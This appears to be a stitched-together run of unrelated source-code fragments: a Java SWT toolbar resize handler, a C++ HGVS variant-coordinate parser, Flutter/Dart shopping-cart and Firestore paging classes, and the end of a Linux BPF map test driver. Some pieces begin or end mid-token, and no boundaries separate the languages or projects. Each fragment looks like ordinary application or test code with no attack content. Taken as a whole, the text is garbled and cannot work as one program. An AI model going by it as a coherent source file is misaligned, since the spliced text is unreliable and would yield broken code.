		int bits = (int)OS.SendMessage (handle, OS.TB_GETEXTENDEDSTYLE, 0, 0);
		if (index == count) {
			bits |= OS.TBSTYLE_EX_HIDECLIPPEDBUTTONS;
		} else {
			bits &= ~OS.TBSTYLE_EX_HIDECLIPPEDBUTTONS;
		}
		OS.SendMessage (handle, OS.TB_SETEXTENDEDSTYLE, 0, bits);
	}
	layoutItems ();
	return result;
}

@Override
LRESULT WM_WINDOWPOSCHANGING (long wParam, long lParam) {
	LRESULT result = super.WM_WINDOWPOSCHANGING (wParam, lParam);
	if (result != null) return result;
	if (ignoreResize) return result;
	/*
	* Bug in Windows.  When a flat tool bar is wrapped,
	* Windows draws a horizontal separator between the
	* rows.  The tool bar does not draw the first or
	* the last two pixels of this separator.  When the
	* toolbar is resized to be bigger, only the new
	* area is drawn and the last two pixels, which are
	* blank are drawn over by separator.  This leaves
	* garbage on the screen.  The fix is to damage the
	* pixels.
	*/
	if (!getDrawing ()) return result;
	if ((style & SWT.WRAP) == 0) return result;
	if (!OS.IsWindowVisible (handle)) return result;
	if (OS.SendMessage (handle, OS.TB_GETROWS, 0, 0) == 1) {
		return result;
	}
	WINDOWPOS lpwp = new WINDOWPOS ();
	OS.MoveMemory (lpwp, lParam, WINDOWPOS.sizeof);
	if ((lpwp.flags & (OS.SWP_NOSIZE | OS.SWP_NOREDRAW)) != 0) {
		return result;
	}
	RECT oldRect = new RECT ();
	OS.GetClientRect (handle, oldRect);


int.value = NStr::StringToInt(s);
            fint.fuzz.Reset();
        }
    } else if(i->children.size() == 3) { //e.g. '(5)' or '(?)'
        ++it;
        string s(it->value.begin(), it->value.end());
        if(s == "?") {
            fint.SetPureFuzz();
        } else {
            fint.value = NStr::StringToInt(s);
            fint.fuzz->SetLim(CInt_fuzz::eLim_unk);
        }
    } else if(i->children.size() == 5) { //e.g. '(5_7)' or '(?_10)'
        ++it;
        string s1(it->value.begin(), it->value.end());
        ++it;
        ++it;
        string s2(it->value.begin(), it->value.end());

        if(s1 == "?" && s2 == "?") {
            fint.SetPureFuzz();
        } else if(s1 != "?" && s2 != "?") {
            fint.value = NStr::StringToInt(s1);
            fint.fuzz->SetRange().SetMin(NStr::StringToInt(s1));
            fint.fuzz->SetRange().SetMax(NStr::StringToInt(s2));
        } else if(s2 == "?") {
            fint.value = NStr::StringToInt(s1);
            fint.fuzz->SetLim(CInt_fuzz::eLim_gt);
        } else if(s1 == "?") {
            fint.value = NStr::StringToInt(s2);
            fint.fuzz->SetLim(CInt_fuzz::eLim_lt);
        } else {
            HGVS_THROW(eLogic, "Unreachable code");
        }
    }

    return fint;
}

/* In HGVS:
 * the nucleotide 3' of the translation stop codon is *1, the next *2, etc.
 * # there is no nucleotide 0
 * # nucleotide 1 is the A of the ATG-translation initiation codon
 * # the nucleotide 5' of the ATG-translation initiation codon is -1, the previous -2, etc.
 *
 * I.e. need to adjust if dealing with positive coordinates, except for *-relative ones.
 */
template<typename T>
T AdjustHgvsCoord(T val, TSeqPos offset, bool adjust)
{
    val += offset;
    if(adjust && val > (T)offset) {
        // note: val may be unsigned, so check for (val+offset > offset)
        // instead of (val > 0)
        val -= 1;
    }
    return val;
}

CRef<CSeq_point> CHgvsParser::x_abs_pos(TIterator const& i, const CContext& context)
{
    HGVS_ASSERT_RULE(i, eID_abs_pos);
    TIterator it = i->children.begin();

    TSeqPos offset(0);
    bool adjust = true; //see AdjustHgvsCoord comments above
    if(i->children.size() == 2) {
        adjust = false;
        string s(it->value.begin(), it->value.end());
        if(s != "*") {
            HGVS_THROW(eGrammatic, "Expected literal '*'");
        }
        if(context.GetPlacement().GetMol() != CVariantPlacement::eMol_cdna) {
            HGVS_THROW(eContext, "Expected 'c.' context for stop-codon-relative coordinate");
        }

        offset = context.GetCDS().GetLocation().GetStop(eExtreme_Biological);
        ++it;
    } else {
        if (context.GetPlacement().GetMol() == CVariantPlacement::eMol_cdna) {
            //Note: in RNA coordinates (r.) the coordinates are absolute, like in genomic sequences,
            //  "The RNA sequence type uses only GenBank mRNA records. The value 1 is assigned to the first
            //  base in the rec


rt.add(addition.product, addition.count);
    _items.add(_cart.items);
    _itemCount.add(_cart.itemCount);
  }

  @override
  void dispose() {
    _items.close();
    _itemCount.close();
    _cartAdditionController.close();
  }
}
import 'package:bloc_complex/cart/cart_bloc.dart';
import 'package:bloc_complex/cart/cart_provider.dart';
import 'package:bloc_complex/catalog/catalog_bloc.dart';
import 'package:bloc_complex/catalog/catalog_provider.dart';
import 'package:bloc_complex/catalog/catalog_slice.dart';
import 'package:bloc_complex/product_grid/product_square.dart';
import 'package:flutter/material.dart';

class ProductGrid extends StatelessWidget {
  static const _loadingSpace = 40;
  static const _gridDelegate =
      SliverGridDelegateWithFixedCrossAxisCount(crossAxisCount: 2);

  const ProductGrid();

  @override
  Widget build(BuildContext context) {
    final cartBloc = CartProvider.of(context);
    final catalogBloc = CatalogProvider.of(context);

    return StreamBuilder<CatalogSlice>(
      stream: catalogBloc.slice,
      initialData: catalogBloc.slice.valueWrapper?.value,
      builder: (context, snapshot) => GridView.builder(
        gridDelegate: _gridDelegate,
        itemCount: snapshot.data!.endIndex + _loadingSpace,
        itemBuilder: (context, index) =>
            _createSquare(index, snapshot.data!, catalogBloc, cartBloc),
      ),
    );
  }

  Widget _createSquare(
    int index,
    CatalogSlice slice,
    CatalogBloc catalogBloc,
    CartBloc cartBloc,
  ) {
    catalogBloc.index.add(index);

    final product = slice.elementAt(index);

    if (product == null) {
      return const Center(child: CircularProgressIndicator());
    }

    return ProductSquare(
      key: Key(product.id.toString()),
      product: product,
      onTap: () {
        cartBloc.cartAddition.add(CartAddition(product));
      },
    );
  }
}
import 'dart:math';

import 'package:disposable_provider/disposable_provider.dart';
import 'package:firestore_ref/firestore_ref.dart';
import 'package:flutter/cupertino.dart';
import 'package:rxdart/rxdart.dart';
import 'package:subscription_holder/subscription_holder.dart';

import 'document_list.dart';

class CollectionPagingController<E, D extends Document<E>,
    DocRef extends DocumentRef<E, D>> with Disposable {
  CollectionPagingController({
    required QueryRef<E, D, DocRef> queryRef,
    @required QueryBuilder? queryBuilder,
    required int initialSize,
    required this.defaultPagingSize,
  }) : _limitController = BehaviorSubject.seeded(initialSize) {
    _sh
      ..add(
        _limitController.stream
            .switchMap((limit) {
              final documentList = DocumentList<E, D, DocRef>(


te",
	      "map_fd:%d, errno:%d\n", map_fd, errno);
	prepare_reuseport_grp(SOCK_STREAM, map_fd, sizeof(__u32), &fd64,
			      &sk_cookie, 1);
	fd = fd64;
	err = bpf_map_update_elem(map_fd, &index3, &fd, BPF_NOEXIST);
	CHECK(err == -1, "reuseport array update 32 bit fd",
	      "err:%d errno:%d\n", err, errno);
	err = bpf_map_lookup_elem(map_fd, &index3, &map_cookie);
	CHECK(err != -1 || errno != ENOSPC,
	      "reuseport array lookup 32 bit fd",
	      "err:%d errno:%d\n", err, errno);
	close(fd);
	close(map_fd);
}

static void run_all_tests(void)
{
	test_hashmap(0, NULL);
	test_hashmap_percpu(0, NULL);
	test_hashmap_walk(0, NULL);
	test_hashmap_zero_seed();

	test_arraymap(0, NULL);
	test_arraymap_percpu(0, NULL);

	test_arraymap_percpu_many_keys();

	test_devmap(0, NULL);
	test_devmap_hash(0, NULL);
	test_sockmap(0, NULL);

	test_map_large();
	test_map_parallel();
	test_map_stress();

	test_map_rdonly();
	test_map_wronly();

	test_reuseport_array();

	test_queuemap(0, NULL);
	test_stackmap(0, NULL);

	test_map_in_map();
}

#define DECLARE
#include <map_tests/tests.h>
#undef DECLARE

int main(void)
{
	srand(time(NULL));

	map_flags = 0;
	run_all_tests();

	map_flags = BPF_F_NO_PREALLOC;
	run_all_tests();

#define CALL
#include <map_tests/tests.h>
#undef CALL

	printf("test_maps: OK, %d SKIPPED\n", skips);
	return 0;
}